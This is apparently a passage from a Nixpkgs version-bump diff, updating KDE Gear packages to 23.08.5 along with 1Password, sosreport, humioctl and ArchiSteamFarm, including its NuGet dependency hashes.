}; }; okular = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/okular-23.08.4.tar.xz"; - sha256 = "04dga15sj8gm2l1j6qpqcm3scc5awap63g5jqbfdr1z2i8bp7z9p"; - name = "okular-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/okular-23.08.5.tar.xz"; + sha256 = "0r73ki98lv3293s7zvz3rq2xgj9z2jbqy3p7gs8518knn5lizmfm"; + name = "okular-23.08.5.tar.xz"; }; }; palapeli = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/palapeli-23.08.4.tar.xz"; - sha256 = "0cb63gazax3ii78n5bir061aw20s4vkm6pgahz75kvwhfsyky4qa"; - name = "palapeli-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/palapeli-23.08.5.tar.xz"; + sha256 = "1lc9dc25bbagqz6iklwvk81pknwvc2a7kjicmyj8zz5432d7psps"; + name = "palapeli-23.08.5.tar.xz"; }; }; parley = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/parley-23.08.4.tar.xz"; - sha256 = "1y6mb5k3nhra4p35dml9x5nw40b21cnz7nkirxf3wjrg7jjx0iac"; - name = "parley-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/parley-23.08.5.tar.xz"; + sha256 = "0rr0dn714khrrgda0lmsd81l0fyc84q3f3xc4fhblz6icj37b5an"; + name = "parley-23.08.5.tar.xz"; }; }; partitionmanager = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/partitionmanager-23.08.4.tar.xz"; - sha256 = "1mj6pbrv9lj7jg3rfj4jncaclm70nzxw6dqbd52m48fa8vz0xpy5"; - name = "partitionmanager-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/partitionmanager-23.08.5.tar.xz"; + sha256 = "0d08sgml90minr2y1k8niz6d74hh5lavaaa1j0bvyj8gfgkdwflq"; + name = "partitionmanager-23.08.5.tar.xz"; }; }; picmi = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/picmi-23.08.4.tar.xz"; - sha256 = "1dbygyydawp6982asn015l20c4g479nl63a4yvs1hlv0vs261ry6"; - name = "picmi-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/picmi-23.08.5.tar.xz"; + sha256 = "0f1zvl7sidpaw1y93xrqg704s44l8wg405c5pas4yahl6nrs1i1x"; + name = "picmi-23.08.5.tar.xz"; }; }; pim-data-exporter = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/pim-data-exporter-23.08.4.tar.xz"; - sha256 = "0nhwvg2wp25nkwgizc9zp4b5zww4ap8clfbm4s6n9c851dslh3s3"; - name = "pim-data-exporter-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/pim-data-exporter-23.08.5.tar.xz"; + sha256 = "0axzlzam82c70868dc93lwljbc5rllkrslyn4cnc33fvz1xf41kc"; + name = "pim-data-exporter-23.08.5.tar.xz"; }; }; pim-sieve-editor = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/pim-sieve-editor-23.08.4.tar.xz"; - sha256 = "1bkll224v8pqcph33qnvi0sk5zymdz6jy5s4rqdd13nqzzv6cyhb"; - name = "pim-sieve-editor-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/pim-sieve-editor-23.08.5.tar.xz"; + sha256 = "1r756987lwzl27mcdsb0k2wa8crm2lw1xvr197f73j3bnd4a3njx"; + name = "pim-sieve-editor-23.08.5.tar.xz"; }; }; pimcommon = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/pimcommon-23.08.4.tar.xz"; - sha256 = "0lfxd76rg4gx98xiwhzvv6bi97rqpxppc0qs1zgzd94hnar7kafl"; - name = "pimcommon-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/pimcommon-23.08.5.tar.xz"; + sha256 = "0bjdbz89141rh1895c4ghx3s2v93wpdghpymi50203rark1iqnsz"; + name = "pimcommon-23.08.5.tar.xz"; }; }; plasmatube = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/plasmatube-23.08.4.tar.xz"; - sha256 = "0mdljamssq8609mxfm1whdpf0jd3lvyrd5cf7rhnq35hvrncm4b1"; - name = "plasmatube-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/plasmatube-23.08.5.tar.xz"; + sha256 = "178vgir5j2535q6gh2p11c7gjsm61f368lmysr8jdmsr43f4zjk6"; + name = "plasmatube-23.08.5.tar.xz"; }; }; poxml = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/poxml-23.08.4.tar.xz"; - sha256 = "0irp4ns0p25navasgdpgi35xxa1n5jf9aly32604dddx2mrh1w0r"; - name = "poxml-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/poxml-23.08.5.tar.xz"; + sha256 = "1i371b4x4a1ciklxicpwghajzzg7qnvssqgzr6lqnfy9gi8p4p3s"; + name = "poxml-23.08.5.tar.xz"; }; }; print-manager = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/print-manager-23.08.4.tar.xz"; - sha256 = "0hsxawswgpaidm2wg5s8mzzh46cascr1pfjiqplqndzixff77grd"; - name = "print-manager-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/print-manager-23.08.5.tar.xz"; + sha256 = "0jssp0nczr928v1dz9fg5ycsr5s1f0x9yr60lpxa33mgmyrrkvgp"; + name = "print-manager-23.08.5.tar.xz"; }; }; qmlkonsole = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/qmlkonsole-23.08.4.tar.xz"; - sha256 = "1qjszxh9wxpl1is2k065s9w18frvpnz2x6sk36r3c87xaxn7pzxi"; - name = "qmlkonsole-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/qmlkonsole-23.08.5.tar.xz"; + sha256 = "0fjw7781a5qzfbkamcvfz3dl1sf793phmjlcp8bdgj3ha4kk9ffl"; + name = "qmlkonsole-23.08.5.tar.xz"; }; }; rocs = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/rocs-23.08.4.tar.xz"; - sha256 = "0182szpicdg353gapjsghg35sw638kcddwaycn3jkc50mwfy9jg1"; - name = "rocs-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/rocs-23.08.5.tar.xz"; + sha256 = "1c9yrn42bs3r50nzdmib3v6z80kykd271paqbgj4isi2hamw3g7r"; + name = "rocs-23.08.5.tar.xz"; }; }; signon-kwallet-extension = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/signon-kwallet-extension-23.08.4.tar.xz"; - sha256 = "1fpqjzpj7dhcp1km5fg65jpa1v78hsgpgrriyvpqpvaxfn0ylifi"; - name = "signon-kwallet-extension-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/signon-kwallet-extension-23.08.5.tar.xz"; + sha256 = "1z4vwmgh102jxbacf40sp9x1bjy2bvnamhi6lv387rpx7snwlmp5"; + name = "signon-kwallet-extension-23.08.5.tar.xz"; }; }; skanlite = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/skanlite-23.08.4.tar.xz"; - sha256 = "0wh5c3w8sbggpcln6arqagfxffyjns4v2v1d8drawfn66q5pqzvk"; - name = "skanlite-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/skanlite-23.08.5.tar.xz"; + sha256 = "1fhd10gr7pya08l98cylc4dkh0hisa0zgj32djkzb64pr16wlyk6"; + name = "skanlite-23.08.5.tar.xz"; }; }; skanpage = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/skanpage-23.08.4.tar.xz"; - sha256 = "1mdvh7qknlfrcq8v7hbjdbns7327czch95dh5w6w86r1a5by2mxn"; - name = "skanpage-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/skanpage-23.08.5.tar.xz"; + sha256 = "1fvj1ckh67sch4m0dfz8wficmsr12b8jk74q66skpi362h731qiq"; + name = "skanpage-23.08.5.tar.xz"; }; }; spectacle = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/spectacle-23.08.4.tar.xz"; - sha256 = "04yd00p0rkpswrcj13ckp38ii185g1dab82vm58inm8i8cyyarbq"; - name = "spectacle-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/spectacle-23.08.5.tar.xz"; + sha256 = "0g3n3n42jp2vi1jv3d8j8rf9362axf9pfpsphbsag15jdppk1y2l"; + name = "spectacle-23.08.5.tar.xz"; }; }; step = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/step-23.08.4.tar.xz"; - sha256 = "0dmnc9kvg2hxi2mf4d55k4sm82lfb4xs6apq4m8fxqd3zh0jxr9n"; - name = "step-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/step-23.08.5.tar.xz"; + sha256 = "0lafzlnjaiqvkz4jcyc6nghiv182x5rlwrn5qrhhvmf5r4qlxnxm"; + name = "step-23.08.5.tar.xz"; }; }; svgpart = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/svgpart-23.08.4.tar.xz"; - sha256 = "111zdzp5knm1x13d1mhhn48l72lfa28jwn69023skgav35fa50wh"; - name = "svgpart-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/svgpart-23.08.5.tar.xz"; + sha256 = "1fbqfzn9nppvx51kvam08w9kcfz9y3l86bddvlmyj1j0v26kf6ll"; + name = "svgpart-23.08.5.tar.xz"; }; }; sweeper = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/sweeper-23.08.4.tar.xz"; - sha256 = "0csqrkbx86ppfddqc5qvzp0svw0ngf9129p3xz5birhcdvq3bpic"; - name = "sweeper-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/sweeper-23.08.5.tar.xz"; + sha256 = "1mf1s8725pfbh4s6cl4nmi6dk0kl5l9ldjkwgb7dh15dli37gpss"; + name = "sweeper-23.08.5.tar.xz"; }; }; telly-skout = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/telly-skout-23.08.4.tar.xz"; - sha256 = "1ipy5vl9vj800cy7axag4y1gnnszgbyvw22ns1j2x1z7m3rhp5vi"; - name = "telly-skout-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/telly-skout-23.08.5.tar.xz"; + sha256 = "1a196ychw81k1m5kql3nnzkzhz98cpn35d257sa8qah0hz3ad4bx"; + name = "telly-skout-23.08.5.tar.xz"; }; }; tokodon = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/tokodon-23.08.4.tar.xz"; - sha256 = "1hsdwmnrsqm5mi1c7lsa6p7r29w8iz27129yf6j1491yw3cv9lqw"; - name = "tokodon-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/tokodon-23.08.5.tar.xz"; + sha256 = "0r8jx2k5znv6pi3wnss0rng870ky3d1c8bd7lhd7fakihsjpm22b"; + name = "tokodon-23.08.5.tar.xz"; }; }; umbrello = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/umbrello-23.08.4.tar.xz"; - sha256 = "0vms6wflbybpaxwng29hsw5mcjrxw24kp8b6i1chavqryhci7s0k"; - name = "umbrello-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/umbrello-23.08.5.tar.xz"; + sha256 = "1067chdyxfb6h5ma628dia1fjrs8yz3204jn5iprfhasxqi44h2c"; + name = "umbrello-23.08.5.tar.xz"; }; }; yakuake = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/yakuake-23.08.4.tar.xz"; - sha256 = "1igzc110fvzwa9817hclv7whwmfvp4hvcn636a6l4s5vsajm940y"; - name = "yakuake-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/yakuake-23.08.5.tar.xz"; + sha256 = "097bl6rjs5pj7arypcmncwb8ji9jfd8gli0y65454b0aafa5hnac"; + name = "yakuake-23.08.5.tar.xz"; }; }; zanshin = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/zanshin-23.08.4.tar.xz"; - sha256 = "0axrh9g6drxp5sjmcbv7vqbi0n7q6qpnlgs546186z25kwq80xm0"; - name = "zanshin-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/zanshin-23.08.5.tar.xz"; + sha256 = "0vpmcmik362b6i232awd0f695w5q82bi4x2lq3x3plnh0wf5xyf0"; + name = "zanshin-23.08.5.tar.xz"; }; }; } diff --git a/pkgs/applications/logging/humioctl/default.nix b/pkgs/applications/logging/humioctl/default.nix index b0744505d09e1..d9f780c0b3a21 100644 --- a/pkgs/applications/logging/humioctl/default.nix +++ b/pkgs/applications/logging/humioctl/default.nix @@ -28,5 +28,6 @@ buildGoModule rec { description = "A CLI for managing and sending data to Humio"; license = licenses.asl20; maintainers = with maintainers; [ lucperkins ]; + mainProgram = "humioctl"; }; } diff --git a/pkgs/applications/logging/sosreport/default.nix b/pkgs/applications/logging/sosreport/default.nix index 467feb4b496ec..f283964707895 100644 --- a/pkgs/applications/logging/sosreport/default.nix +++ b/pkgs/applications/logging/sosreport/default.nix @@ -10,13 +10,13 @@ buildPythonPackage rec { pname = "sosreport"; - version = "4.6.1"; + version = "4.7.0"; src = fetchFromGitHub { owner = "sosreport"; repo = "sos"; rev = "refs/tags/${version}"; - sha256 = "sha256-IW3b+zAxXnr7H+/XxJA+tJZYNte1nVdDaMhW3TcGxzo="; + sha256 = "sha256-SB8qLpa9ncAJjUkbPRuSY2eJ1fNMaLSR7BR/tgO+ZUs="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/1password-gui/default.nix b/pkgs/applications/misc/1password-gui/default.nix index 7fccd80e71c7c..21b445944abf3 100644 --- a/pkgs/applications/misc/1password-gui/default.nix +++ b/pkgs/applications/misc/1password-gui/default.nix @@ -9,43 +9,43 @@ let pname = "1password"; - version = if channel == "stable" then "8.10.24" else "8.10.26-1.BETA"; + version = if channel == "stable" then "8.10.27" else "8.10.28-11.BETA"; sources = { stable = { x86_64-linux = { url = "https://downloads.1password.com/linux/tar/stable/x86_64/1password-${version}.x64.tar.gz"; - hash = "sha256-vYk7WHGVOzrrep6vmA58ELa6aDsZFUw5D2StCYP0Ioc="; + hash = "sha256-xQQXPDC8mvQyC+z3y0n5KpRpLjrBeslwXPf28wfKVSM="; }; aarch64-linux = { url = "https://downloads.1password.com/linux/tar/stable/aarch64/1password-${version}.arm64.tar.gz"; - hash = "sha256-HuhoGG2aQ2NcbZlQfUmGUl0IvhXPO5uV7x4WKJRR7Ew="; + hash = "sha256-c26G/Zp+1Y6ZzGYeybFBJOB2gDx3k+4/Uu7sMlXHYjM="; }; x86_64-darwin = { url = "https://downloads.1password.com/mac/1Password-${version}-x86_64.zip"; - hash = "sha256-RHn1JJoRLWfqOTx0Di0nfHM7fbLs54DdWlI+PTQs1sQ="; + hash = "sha256-9LrSJ9PLRXFbA7xkBbqFIZVtAuy7UrDBh7e6rlLqrM0="; }; aarch64-darwin = { url = "https://downloads.1password.com/mac/1Password-${version}-aarch64.zip"; - hash = "sha256-ZjmgkGTY6KQ0vv7ILMMLYsK7N2YLmJGCBS6954v0JX8="; + hash = "sha256-4oqpsRZ10y2uh2gp4QyHfUdKER8v8n8mjNFVwKRYkpo="; }; }; beta = { x86_64-linux = { url = "https://downloads.1password.com/linux/tar/beta/x86_64/1password-${version}.x64.tar.gz"; - hash = "sha256-dAasy1D5HXQ8Eu5cx0u9exobNMf2TIV4iCTcys/uCtQ="; + hash = "sha256-pchfBeZcXoyfSHutQqgAWkf6uzTEIQ/AbKDOC2N+BN8="; }; aarch64-linux = { url = "https://downloads.1password.com/linux/tar/beta/aarch64/1password-${version}.arm64.tar.gz"; - hash = "sha256-sIPNv4HiU/6CLaER6deMG88zOOFwu6cm5XoB2Cr4qLQ="; + hash = "sha256-rcjoyuEL8p4nCvjboPF0BV1lV5/+zo/rP9AP0ORB0N0="; }; x86_64-darwin = { url = "https://downloads.1password.com/mac/1Password-${version}-x86_64.zip"; - hash = "sha256-Va4WgbPKrI7u+GYzVmA8Gp6NRY4EdJuoz00Pc5HsMIg="; + hash = "sha256-D3kYUpL69HMQnjJyzQ2/Ahiyt94uwxM86n7U9uQ/mVs="; }; aarch64-darwin = { url = "https://downloads.1password.com/mac/1Password-${version}-aarch64.zip"; - hash = "sha256-Dj96QoEcmJxV7qBkb68ovonr+XYqQdScb9GMeL8OCJo="; + hash = "sha256-FJbFsMS/f7PHTvu9PxDgFQB3v47AsyESdKctr+S1LXk="; }; }; }; diff --git a/pkgs/applications/misc/1password-gui/linux.nix b/pkgs/applications/misc/1password-gui/linux.nix index 751e94c38f7fc..1bb980203b1dd 100644 --- a/pkgs/applications/misc/1password-gui/linux.nix +++ b/pkgs/applications/misc/1password-gui/linux.nix @@ -110,8 +110,8 @@ in stdenv.mkDerivation { cp -a resources/icons $out/share interp="$(cat $NIX_CC/nix-support/dynamic-linker)" - patchelf --set-interpreter $interp $out/share/1password/{1password,1Password-BrowserSupport,1Password-HIDHelper,1Password-KeyringHelper,1Password-LastPass-Exporter,op-ssh-sign} - patchelf --set-rpath ${rpath}:$out/share/1password $out/share/1password/{1password,1Password-BrowserSupport,1Password-HIDHelper,1Password-KeyringHelper,1Password-LastPass-Exporter,op-ssh-sign} + patchelf --set-interpreter $interp $out/share/1password/{1password,1Password-BrowserSupport,1Password-KeyringHelper,1Password-LastPass-Exporter,op-ssh-sign} + patchelf --set-rpath ${rpath}:$out/share/1password $out/share/1password/{1password,1Password-BrowserSupport,1Password-KeyringHelper,1Password-LastPass-Exporter,op-ssh-sign} for file in $(find $out -type f -name \*.so\* ); do patchelf --set-rpath ${rpath}:$out/share/1password $file done diff --git a/pkgs/applications/misc/1password/default.nix b/pkgs/applications/misc/1password/default.nix index 70ac99f20a497..b7df39ee2b08c 100644 --- a/pkgs/applications/misc/1password/default.nix +++ b/pkgs/applications/misc/1password/default.nix @@ -12,12 +12,12 @@ let if extension == "zip" then fetchzip args else fetchurl args; pname = "1password-cli"; - version = "2.24.0"; + version = "2.25.0"; sources = rec { - aarch64-linux = fetch "linux_arm64" "sha256-wISQ4528+rYxaIvxAa9jrF6E6A3SvMGbLyqB4JO3Mbw=" "zip"; - i686-linux = fetch "linux_386" "sha256-A+sQY6Q0JfHuusdP96M7BqjMCn2YobAekieN3HdRJac=" "zip"; - x86_64-linux = fetch "linux_amd64" "sha256-hgMZ3gSqpb04ixTwMnEg0EpYgzuTF1CMEGGl6LbYKjY=" "zip"; - aarch64-darwin = fetch "apple_universal" "sha256-R0gGUgN+f5DQF57AyAI6P4X3ySktxQ60DCPJPknwxPY=" "pkg"; + aarch64-linux = fetch "linux_arm64" "sha256-Fs7psSWGqQqnUpGtU0nv1Mv+GysL/wD8AeVbMUDJ9pg=" "zip"; + i686-linux = fetch "linux_386" "sha256-Vqk2COKRtDkOn7960VknyHx7sZVHZ4GP+aaC1rU4eqc=" "zip"; + x86_64-linux = fetch "linux_amd64" "sha256-rMIZU92A13eiUqr35C+RTg3OTE9u8hcYJRinHoPWYTE=" "zip"; + aarch64-darwin = fetch "apple_universal" "sha256-JO7Hh8PUnW5D3GCJFPcVfIYXzHV6HkckqFnGK9vH7Qs=" "pkg"; x86_64-darwin = aarch64-darwin; }; platforms = builtins.attrNames sources; diff --git a/pkgs/applications/misc/ArchiSteamFarm/default.nix b/pkgs/applications/misc/ArchiSteamFarm/default.nix index d01908a43dc93..13620b254a58b 100644 --- a/pkgs/applications/misc/ArchiSteamFarm/default.nix +++ b/pkgs/applications/misc/ArchiSteamFarm/default.nix @@ -11,13 +11,13 @@ buildDotnetModule rec { pname = "ArchiSteamFarm"; # nixpkgs-update: no auto update - version = "5.5.0.11"; + version = "5.5.3.4"; src = fetchFromGitHub { owner = "JustArchiNET"; repo = "ArchiSteamFarm"; rev = version; - hash = "sha256-VlJiTCdoH6hlVtQgECIlbsQvg3S58B5IIy1zRxh1eOg="; + hash = "sha256-9ISEIKrAK6UTDM3TPizBRMU+wfiinhnaWmS5CkXpkYo="; }; dotnet-runtime = dotnetCorePackages.aspnetcore_8_0; @@ -76,6 +76,6 @@ buildDotnetModule rec { homepage = "https://github.com/JustArchiNET/ArchiSteamFarm"; license = licenses.asl20; mainProgram = "ArchiSteamFarm"; - maintainers = with maintainers; [ SuperSandro2000 lom ]; + maintainers = with maintainers; [ SuperSandro2000 ]; }; } diff --git a/pkgs/applications/misc/ArchiSteamFarm/deps.nix b/pkgs/applications/misc/ArchiSteamFarm/deps.nix index e89c381093798..c5e4557d81e50 100644 --- a/pkgs/applications/misc/ArchiSteamFarm/deps.nix +++ b/pkgs/applications/misc/ArchiSteamFarm/deps.nix @@ -58,10 +58,11 @@ (fetchNuGet { pname = "Humanizer.Core.zh-Hant"; version = "2.14.1"; sha256 = "0qxjnbdj645l5sd6y3100yyrq1jy5misswg6xcch06x8jv7zaw1p"; }) (fetchNuGet { pname = "JetBrains.Annotations"; version = "2023.3.0"; sha256 = "0vp4mpn6gfckn8grzjm1jxlbqiq2fglm2rk9wq787adw7rxs8k7w"; }) (fetchNuGet { pname = "Markdig.Signed"; version = "0.34.0"; sha256 = "1jrs5fc8k99mh1kipvvlgwm0qlacrsh82bbpdclb84xz0h6nwwrh"; }) + (fetchNuGet { pname = "Microsoft.ApplicationInsights"; version = "2.21.0"; sha256 = "1q034jbqkxb8lddkd0ijp0wp0ymnnf3bg2mjpay027zv7jswnc4x"; }) (fetchNuGet { pname = "Microsoft.AspNetCore.JsonPatch"; version = "7.0.0"; sha256 = "1f13vsfs1rp9bmdp3khk4mk2fif932d72yxm2wszpsr239x4s2bf"; }) (fetchNuGet { pname = "Microsoft.AspNetCore.Mvc.NewtonsoftJson"; version = "7.0.0"; sha256 = "1w49rg0n5wb1m5wnays2mmym7qy7bsi2b1zxz97af2rkbw3s3hbd"; }) (fetchNuGet { pname = "Microsoft.Bcl.AsyncInterfaces"; version = "6.0.0"; sha256 = "15gqy2m14fdlvy1g59207h5kisznm355kbw010gy19vh47z8gpz3"; }) - (fetchNuGet { pname = "Microsoft.CodeCoverage"; version = "17.8.0"; sha256 = "173wjadp3gan4x2jfjchngnc4ca4mb95h1sbb28jydfkfw0z1zvj"; }) + (fetchNuGet { pname = "Microsoft.CodeCoverage"; version = "17.9.0"; sha256 = "1gljgi69k0fz8vy8bn6xlyxabj6q4vls2zza9wz7ng6ix3irm89r"; }) (fetchNuGet { pname = "Microsoft.CSharp"; version = "4.7.0"; sha256 = "0gd67zlw554j098kabg887b5a6pq9kzavpa3jjy5w53ccjzjfy8j"; }) (fetchNuGet { pname = "Microsoft.Extensions.ApiDescription.Server"; version = "6.0.5"; sha256 = "1pi2bm3cm0a7jzqzmfc2r7bpcdkmk3hhjfvb2c81j7wl7xdw3624"; }) (fetchNuGet { pname = "Microsoft.Extensions.Configuration.Abstractions"; version = "8.0.0"; sha256 = "1jlpa4ggl1gr5fs7fdcw04li3y3iy05w3klr9lrrlc7v8w76kq71"; }) @@ -71,19 +72,24 @@ (fetchNuGet { pname = "Microsoft.Extensions.Logging.Abstractions"; version = "8.0.0"; sha256 = "1klcqhg3hk55hb6vmjiq2wgqidsl81aldw0li2z98lrwx26msrr6"; }) (fetchNuGet { pname = "Microsoft.Extensions.Options"; version = "8.0.0"; sha256 = "0p50qn6zhinzyhq9sy5svnmqqwhw2jajs2pbjh9sah504wjvhscz"; }) (fetchNuGet { pname = "Microsoft.Extensions.Primitives"; version = "8.0.0"; sha256 = "0aldaz5aapngchgdr7dax9jw5wy7k7hmjgjpfgfv1wfif27jlkqm"; }) - (fetchNuGet { pname = "Microsoft.IdentityModel.Abstractions"; version = "7.0.3"; sha256 = "0njmg2lygnirnfjv9gck2f5lq4ly5rgws9cpf8qj3kwcwxfp0b9s"; }) - (fetchNuGet { pname = "Microsoft.IdentityModel.JsonWebTokens"; version = "7.0.3"; sha256 = "1ayh85xqdq8rqjk2iqcn7iaczcl7d8qg6bxk0b4rgx59fmsmbqj7"; }) - (fetchNuGet { pname = "Microsoft.IdentityModel.Logging"; version = "7.0.3"; sha256 = "13cjqmf59k895q6gkd5ycl89mnpalckda7rhsdl11jdyr32hsfnv"; }) - (fetchNuGet { pname = "Microsoft.IdentityModel.Tokens"; version = "7.0.3"; sha256 = "1pmhd0imh9wlhvbvvwjrpjsqvzagi2ly22nddwr4r0pi234khyz1"; }) - (fetchNuGet { pname = "Microsoft.NET.ILLink.Tasks"; version = "8.0.1"; sha256 = "1drbgqdcvbpisjn8mqfgba1pwb6yri80qc4mfvyczqwrcsj5k2ja"; }) - (fetchNuGet { pname = "Microsoft.NET.Test.Sdk"; version = "17.8.0"; sha256 = "1syvl3g0hbrcgfi9rq6pld8s8hqqww4dflf1lxn59ccddyyx0gmv"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.Abstractions"; version = "7.3.1"; sha256 = "0dvknvmnzi3jn2kz0fbcb3ilryd75dwyiwqn6cwc6nd5gdz4mdlm"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.JsonWebTokens"; version = "7.3.1"; sha256 = "03pd6b35a5j1qxmcf9552rp43fwddn1z3czyb6wlf1w1f95b5fqb"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.Logging"; version = "7.3.1"; sha256 = "0368p59kf6r9dyk511phl65wvk76n8885d2m9812fpj0ifqcdqg8"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.Tokens"; version = "7.3.1"; sha256 = "0i8mqrvzx9xi9pg1c92iy6cr756nnc3lr5cdawj0yh1x919wvx59"; }) + (fetchNuGet { pname = "Microsoft.NET.Test.Sdk"; version = "17.9.0"; sha256 = "1lls1fly2gr1n9n1xyl9k33l2v4pwfmylyzkq8v4v5ldnwkl1zdb"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "5.0.0"; sha256 = "0mwpwdflidzgzfx2dlpkvvnkgkr2ayaf0s80737h4wa35gaj11rc"; }) (fetchNuGet { pname = "Microsoft.OpenApi"; version = "1.2.3"; sha256 = "07b19k89whj69j87afkz86gp9b3iybw8jqwvlgcn43m7fb2y99rr"; }) - (fetchNuGet { pname = "Microsoft.TestPlatform.ObjectModel"; version = "17.8.0"; sha256 = "0b0i7lmkrcfvim8i3l93gwqvkhhhfzd53fqfnygdqvkg6np0cg7m"; }) - (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.8.0"; sha256 = "0f5jah93kjkvxwmhwb78lw11m9pkkq9fvf135hpymmmpxqbdh97q"; }) + (fetchNuGet { pname = "Microsoft.Testing.Extensions.Telemetry"; version = "1.0.0"; sha256 = "1b52s7z01wkg83dpkpyg7girjflm84zr65pacsfwm2hvhb9xa2w6"; }) + (fetchNuGet { pname = "Microsoft.Testing.Extensions.TrxReport.Abstractions"; version = "1.0.0"; sha256 = "0pvr4yga99fqr4z8s8js9hxki5c92qy7scvpqwslws5mri625m38"; }) + (fetchNuGet { pname = "Microsoft.Testing.Extensions.VSTestBridge"; version = "1.0.0"; sha256 = "0zzrwp5in56fhc2cdmn4i44v2jf13frbjwpb9v8s7fkr9ky4wh5w"; }) + (fetchNuGet { pname = "Microsoft.Testing.Platform"; version = "1.0.0"; sha256 = "1qbf922frk4c0cam57d98f3d5q5226pgrgjm7pfcamwy5whvx5sh"; }) + (fetchNuGet { pname = "Microsoft.Testing.Platform.MSBuild"; version = "1.0.0"; sha256 = "0my1fihyh86rckfzbrvl5kdcq34yp0ywl8azs2gx3c27sg4pjrp2"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.ObjectModel"; version = "17.5.0"; sha256 = "0qkjyf3ky6xpjg5is2sdsawm99ka7fzgid2bvpglwmmawqgm8gls"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.ObjectModel"; version = "17.9.0"; sha256 = "1kgsl9w9fganbm9wvlkqgk0ag9hfi58z88rkfybc6kvg78bx89ca"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.9.0"; sha256 = "19ffh31a1jxzn8j69m1vnk5hyfz3dbxmflq77b8x82zybiilh5nl"; }) (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "5.0.0"; sha256 = "102hvhq2gmlcbq8y2cb7hdr2dnmjzfp2k3asr1ycwrfacwyaak7n"; }) - (fetchNuGet { pname = "MSTest.TestAdapter"; version = "3.1.1"; sha256 = "0y3ic8jv5jhld6gan2qfa2wyk4z57f7y4y5a47njr0jvxxnarg2c"; }) - 